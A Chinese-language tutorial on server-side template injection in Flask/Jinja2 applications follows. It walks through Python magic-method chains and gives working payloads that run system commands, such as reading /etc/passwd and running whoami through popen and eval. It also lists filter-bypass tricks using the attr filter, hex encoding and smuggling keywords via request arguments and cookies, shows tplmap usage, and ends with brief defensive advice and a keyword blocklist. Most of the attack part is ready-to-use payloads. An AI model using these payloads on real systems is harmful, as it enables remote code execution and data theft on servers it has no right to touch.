什么是模板引擎?
模板引擎用于将动态数据渲染到静态页面(如 HTML)。例如,Jinja2(Python)、Twig(PHP)等。
示例:
# Flask中使用Jinja2渲染模板
from flask import render_template
@app.route('/')
def index():
user_input = request.args.get('name')
return render_template('index.html', name=user_input)
如果用户输入{{7*7}}
,且页面显示49
,说明存在SSTI漏洞。
魔术方法(Magic Methods)
__class__
:返回对象的类。"".__class__ # 返回
__bases__
:返回类的基类。"".__class__.__bases__ # 返回 (,)
__subclasses__()
:返回类的所有子类。"".__class__.__bases__[0].__subclasses__() # 返回 object 的所有子类
攻击流程
{{7*7}}
,若返回49
则存在漏洞。object
类。os._wrap_close
)。Payload 1:读取文件
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
"".__class__
→
__bases__[0]
→
__subclasses__()[128]
→ 找到os._wrap_close
类__init__.__globals__
→ 获取全局变量(包含os
模块)popen('cat /etc/passwd').read()
→ 执行命令并读取结果。Payload 2:利用循环执行命令
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
_wrap_close
类,调用eval
执行系统命令。绕过.
符号
使用[]
或attr()
过滤器:
{{ ""["__class__"] }} # 等价于 "".__class__
{{ ""|attr("__class__") }} # 使用过滤器
绕过中括号[]
使用__getitem__
方法:
{{ "".__class__.__bases__.__getitem__(0) }} # 等价于 __bases__[0]
绕过引号
用request.args
传递参数:
{{ url_for.__globals__[request.args.a] }}&a=__builtins__
a
传递__builtins__
,避免直接使用引号。绕过数字
如果数字被过滤,可以通过count
方法生成数字:
{{ (dict(e=a)|join|count) }} # 返回 1
dict(e=a)
生成一个字典,join
将其转换为字符串,count
计算字符串长度(1)。绕过关键字
如果class
、base
等关键字被过滤,可以通过join
拼接绕过:
{{ dict(__in=a,it__=a)|join }} # 返回 __init__
__init__
字符串。绕过{{
和}}
如果{{
被过滤,可以使用{% %}
语法:
{% print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()) %}
{% %}
代替{{ }}
,直接执行命令并输出结果。案例 1:Flask 模板注入
假设一个 Flask 应用渲染用户输入:
@app.route('/')
def index():
user_input = request.args.get('name')
return render_template_string(f"Hello, {user_input}!")
{{7*7}}
,页面显示Hello, 49!
,确认存在漏洞。{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() }}
root
)。案例 2:绕过过滤
假设应用过滤了.
和[]
,可以使用attr
和__getitem__
绕过:
{{ ""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")() }}
attr
过滤器逐步获取__class__
、__bases__
等属性,最终找到子类。1. 避免用户控制模板内容
render_template_string(f"Hello, {user_input}!")
render_template('index.html', name=user_input)
2. 使用安全的模板渲染方法
3. 过滤关键词
{{
、}}
、__class__
、__bases__
等关键词。if any(keyword in user_input for keyword in ["__class__", "__bases__", "{{", "}}"]):
return "Invalid input!"
4. 配置防火墙
__class__
、__bases__
)找到危险类并执行命令。案例 3:绕过复杂过滤
假设应用过滤了{{
、}}
、.
、[]
、__class__
等关键词,可以通过以下方式绕过:
使用request.args
传递参数:
{{ url_for.__globals__[request.args.a] }}&a=__builtins__
a
传递__builtins__
,避免直接使用关键词。使用request.cookies
绕过:
{{ url_for.__globals__[request.cookies.a] }}
Cookie: a=__builtins__
使用十六进制编码绕过:
{{ ()["\x5f\x5fclass\x5f\x5f"] }} # 等价于 ().__class__
1. Tplmap
tplmap -u http://example.com/?name=test
2. Burp Suite
1. 利用config
对象
config
对象包含应用的配置信息,可以通过它执行命令:
{{ config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
config
对象的__globals__
属性访问__builtins__
,调用eval
执行命令。2. 利用url_for
函数
url_for
是 Flask 中的全局函数,可以通过它访问__builtins__
:
{{ url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
3. 利用request
对象
request
对象包含请求信息,可以通过它绕过过滤:
{{ request.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
1. 漏洞危害
/etc/passwd
)。whoami
、cat /flag
)。2. 防护建议
3. 学习资源
示例 1:读取文件
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
str
类的基类object
。object
的子类,找到os._wrap_close
。popen
执行命令并读取结果。示例 2:绕过过滤
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
object
的子类,找到_wrap_close
。eval
执行系统命令。